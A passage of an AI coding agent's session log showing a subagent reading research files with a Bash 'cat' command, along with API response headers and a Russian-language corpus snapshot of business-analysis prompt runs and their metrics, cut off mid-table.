\"task_started\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"task_id\": \"bydaqfxei\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"owned_by_subagent\": true,\n[2026-09-29T07:44:58.159Z] [INFO]   \"tool_use_id\": \"toolu_011iMzwfCkWQJaeVUy3ZzQZi\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"description\": \"Install pyyaml\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:44:58.159Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"uuid\": \"f457a56f-4dad-4c46-9b2a-04189574922e\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:58.159Z] [INFO] }\n[2026-09-29T07:44:58.163Z] [INFO] {\n[2026-09-29T07:44:58.163Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"message\": {\n[2026-09-29T07:44:58.163Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"id\": \"msg_011CfXMieMWvDAAHnw4SbR9Y\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"content\": [\n[2026-09-29T07:44:58.163Z] [INFO]       {\n[2026-09-29T07:44:58.163Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:58.163Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:58.163Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:44:58.163Z] [INFO]     ],\n[2026-09-29T07:44:58.163Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:58.163Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:58.163Z] [INFO]       \"cache_creation_input_tokens\": 3749,\n[2026-09-29T07:44:58.163Z] [INFO]       \"cache_read_input_tokens\": 14684,\n[2026-09-29T07:44:58.163Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:58.163Z] [INFO]         \"ephemeral_5m_input_tokens\": 3749,\n[2026-09-29T07:44:58.163Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:58.163Z] [INFO]       },\n[2026-09-29T07:44:58.163Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:58.163Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:58.163Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:58.163Z] [INFO]     },\n[2026-09-29T07:44:58.163Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:58.163Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:58.163Z] [INFO]   },\n[2026-09-29T07:44:58.163Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"uuid\": \"2248f886-f575-49cd-b2fc-36e00d0d4066\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:57.868Z\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"request_id\": \"req_011CfXMidpmDGRzEcQCjLKs6\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:58.163Z] [INFO] }\n[2026-09-29T07:44:58.573Z] [STDOUT] [log_aa2aad, request-id: \"req_011CfXMimWdZkKHKKwQd4Aee\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 767ms\n[2026-09-29T07:44:58.576Z] [STDOUT] [log_aa2aad] response start {\n[2026-09-29T07:44:58.579Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:58.582Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:58.586Z] [STDOUT]   headers: {\n[2026-09-29T07:44:58.591Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:58.598Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:58.600Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:58.606Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:58.609Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:58.615Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.620Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:58.626Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:58.628Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:58.632Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:58.637Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:58.643Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:58.647Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:58.650Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.654Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:58.660Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:58.666Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:58.668Z] [STDOUT]     \"cf-ray\": \"a4295d994b3bdbb5-FRA\",\n[2026-09-29T07:44:58.670Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:58.674Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:58.680Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:58.684Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:58.689Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:58 GMT\",\n[2026-09-29T07:44:58.695Z] [STDOUT]     \"request-id\": \"req_011CfXMimWdZkKHKKwQd4Aee\",\n[2026-09-29T07:44:58.700Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:58.704Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:58.711Z] [STDOUT]     traceresponse: \"00-32b6e8d3c277b36efbb3b90a31977b21-7e7fd37e8e086242-01\",\n[2026-09-29T07:44:58.720Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:58.723Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:58.730Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:58.733Z] [STDOUT]   },\n[2026-09-29T07:44:58.739Z] [STDOUT]   durationMs: 767,\n[2026-09-29T07:44:58.744Z] [STDOUT] }\n[2026-09-29T07:44:58.753Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:58.762Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:58 GMT\",\n[2026-09-29T07:44:58.770Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:58.775Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:58.779Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:58.787Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:58.790Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:58.793Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:58.801Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:58.806Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:58.815Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:58.871Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:58.881Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:58.892Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:58.901Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:58.910Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:58.918Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:58.926Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.933Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:58.943Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:58.949Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:58.956Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:58.959Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.966Z] [STDOUT]   \"request-id\": \"req_011CfXMimWdZkKHKKwQd4Aee\",\n[2026-09-29T07:44:58.976Z] [STDOUT]   \"traceresponse\": \"00-32b6e8d3c277b36efbb3b90a31977b21-7e7fd37e8e086242-01\",\n[2026-09-29T07:44:58.979Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:58.988Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:58.992Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:59.000Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:59.003Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:59.005Z] [STDOUT]   \"cf-ray\": \"a4295d994b3bdbb5-FRA\",\n[2026-09-29T07:44:59.006Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:59.009Z] [STDOUT] [log_aa2aad] response parsed {\n[2026-09-29T07:44:59.017Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:59.024Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:59.041Z] [STDOUT]   body: X {\n[2026-09-29T07:44:59.045Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:59.052Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:59.057Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:59.060Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:59.066Z] [STDOUT]     },\n[2026-09-29T07:44:59.071Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:59.079Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:59.084Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:59.089Z] [STDOUT]   },\n[2026-09-29T07:44:59.096Z] [STDOUT]   durationMs: 769,\n[2026-09-29T07:44:59.100Z] [STDOUT] }\n[2026-09-29T07:44:59.102Z] [INFO] {\n[2026-09-29T07:44:59.102Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:59.102Z] [INFO]   \"message\": {\n[2026-09-29T07:44:59.102Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"id\": \"msg_011CfXMieMWvDAAHnw4SbR9Y\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"content\": [\n[2026-09-29T07:44:59.102Z] [INFO]       {\n[2026-09-29T07:44:59.102Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:59.102Z] [INFO]         \"id\": \"toolu_01CjPTRcEEhq4vMHzn77sPQA\",\n[2026-09-29T07:44:59.102Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:59.102Z] [INFO]         \"input\": {\n[2026-09-29T07:44:59.102Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && cat 2026-08-25-mango-runs-empirical-snapshot.md 2026-08-26-rrp-full-cycle-corpus-facts.md\",\n[2026-09-29T07:44:59.102Z] [INFO]           \"description\": \"Read snapshot and RRP facts\"\n[2026-09-29T07:44:59.102Z] [INFO]         },\n[2026-09-29T07:44:59.102Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:59.102Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:59.102Z] [INFO]         }\n[2026-09-29T07:44:59.102Z] [INFO]       }\n[2026-09-29T07:44:59.102Z] [INFO]     ],\n[2026-09-29T07:44:59.102Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:59.102Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:59.102Z] [INFO]       \"cache_creation_input_tokens\": 3749,\n[2026-09-29T07:44:59.102Z] [INFO]       \"cache_read_input_tokens\": 14684,\n[2026-09-29T07:44:59.102Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:59.102Z] [INFO]         \"ephemeral_5m_input_tokens\": 3749,\n[2026-09-29T07:44:59.102Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:59.102Z] [INFO]       },\n[2026-09-29T07:44:59.102Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:59.102Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:59.102Z] [INFO]       \"inference_geo\": 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{\n[2026-09-29T07:44:59.977Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:59.977Z] [INFO]     \"content\": [\n[2026-09-29T07:44:59.977Z] [INFO]       {\n[2026-09-29T07:44:59.977Z] [INFO]         \"tool_use_id\": \"toolu_01CjPTRcEEhq4vMHzn77sPQA\",\n[2026-09-29T07:44:59.977Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:59.977Z] [INFO]         \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-08-25\\ntemperature: 0.1\\ntype: research\\ncontext: [ba, requirements, mango, runs, empirical-snapshot, metrics]\\nmethod: corpus-measurement + formal-metadata-aggregation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539\\\"\\nbased_on:\\n  - research/ba-requirements/exp/ba-requirements-normalization-539/runs-aggregate.json\\nrelated_artifacts:\\n  - \\\"research/ba-requirements/normalization/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/normalization/40-practice-and-cases.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-requirements-normalization-539/README.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539\\\"\\n---\\n\\n# \u0421\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts/runs/` \u043d\u0430 2026-08-25\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u042d\u0442\u043e \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435**, \u0430 \u043d\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. \u0412\u0441\u0435\\n> \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043c\u043e\u0434\u0443\u043b\u044c\\n> [`research/ba-requirements/normalization/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/00-introduction.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0439 \u0434\u0430\u0442\u044b (\u0444\u0430\u0439\u043b\u044b\\n> \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0446\u0438\u043a\u043b\u0430\u0445), \u0430 \u0443 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u043d\u0430 \u0435\u0441\u0442\u044c: \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442, \u0438 \u0447\u0435\u0440\u0435\u0437\\n> \u043c\u0435\u0441\u044f\u0446 \u0447\u0438\u0441\u043b\u0430 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n## 1. \u0427\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `524a8eb`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440:\\n[`exp/ba-requirements-normalization-539/aggregate-runs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/aggregate-runs.py).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e `metadata.yaml` \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u2014 \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0432\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0431\u044b \u043f\u0440\u0435\u0434\u0440\u0435\u0448\u0451\u043d \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439.\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 56 |\\n| \u041f\u0435\u0440\u0438\u043e\u0434 | 2026-04-10 \u2026 2026-08-25 |\\n| `run_type` | `statistics` 47, `execution` 9 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 5, `success` 1, `needs-rework` 1, `experimental` 1 |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (\u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u044f `process`):\\n\\n| \u041f\u0440\u0435\u0444\u0438\u043a\u0441 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- |\\n| `task-` | 32 | \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u0442\u0440\u0435\u043a\u0435\u0440\u0430/\u0447\u0430\u0442\u0430 \u2014 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 |\\n| `fr-` | 9 | \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 (\u0430\u043d\u0430\u043b\u0438\u0437, \u0434\u0440\u0430\u0444\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f) |\\n| `bcreq-` | 4 | \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (business change request) |\\n| `prompt-` | 3 | \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0441\u0430\u043c\u0438\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u043d\u0430\u0434 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c |\\n| `tz-`, `usecase-`, `user-`, `gap-`, `kb-`, `industry-`, `session-`, `multichannel-` | \u043f\u043e 1 | \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0442\u0438\u043f\u044b |\\n\\n**\u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435.** 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `task-`, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0440\u043e\u0448\u0451\u043b \u0447\u044c\u044e-\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e. \u0418\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0430\u0431\u043e (4 `bcreq-`): \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c **\u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0430\u043d\u043d\u0435\u0433\u043e** \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u0432\u0445\u043e\u0434\u0430\\n\u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n\\n## 3. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n\\n\u0427\u0438\u0441\u043b\u0430 \u0434\u0430\u043d\u044b \u043a\u0430\u043a `n` (\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u043c\u0435\u044e\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0443) / \u043c\u0435\u0434\u0438\u0430\u043d\u0430 / \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d, \u043f\u043e\u0442\u043e\u043c\u0443\\n\u0447\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u043d\u0435\u0440\u0430\u0432\u043d\u043e\u043c\u0435\u0440\u043d\u043e \u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u043f\u043e \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u0440\u043f\u0443\u0441\u0443 \u0432\u0432\u043e\u0434\u0438\u0442 \u0432\\n\u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435.\\n\\n| \u041c\u0435\u0442\u0440\u0438\u043a\u0430 | n | \u0421\u0443\u043c\u043c\u0430 | \u041c\u0435\u0434\u0438\u0430\u043d\u0430 | \u0414\u0438\u0430\u043f\u0430\u0437\u043e\u043d |\\n| --- | --- | --- | --- | --- |\\n| `episodes` | 41 | 1080 | 15 | 1 \u2026 83 |\\n| `iterations` | 37 | 1052 | 19 | 1 \u2026 83 |\\n| `turns` | 34 | 2084 | 44 | 2 \u2026 166 |\\n| `success_rate` | 18 | \u2014 | 0.60 | 0.25 \u2026 0.92 |\\n| `hallucinations` | 11 | 41 | 3 | 2 \u2026 8 |\\n| `hallucinations_shipped` | 11 | 12 | 1 | 0 \u2026 3 |\\n| `ba_edits` | 10 | 53 | 6 | 0 \u2026 11 |\\n| `quality` | 11 | 31 | 3 | 2 \u2026 3 |\\n| `tokens_dialog_total` | 32 | 61 360 738 | 720 806 | 3 387 \u2026 9 225 333 |\\n| `duration_wall_clock_s` | 11 | 1 331 029 | 45 675 | 2 762 \u2026 522 867 |\\n\\n\u041f\u0440\u043e\u0433\u043e\u043d\u044b, \u0433\u0434\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u0430 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n(`hallucinations_shipped > 0`): **9** \u2014 RUN-0016, RUN-0018, RUN-0021, RUN-0022,\\nRUN-0024, RUN-0025, RUN-0026, RUN-0027, RUN-0028.\\n\\n## 4. \u041f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u0439 \u043f\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0443\\n\\n\u041f\u043e\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0432\u0441\u0435\u043c `.md`/`.yaml` \u0444\u0430\u0439\u043b\u0430\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0440\u0435\u0433\u0438\u0441\u0442\u0440 \u043d\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f):\\n\\n| \u041f\u043e\u043d\u044f\u0442\u0438\u0435 | 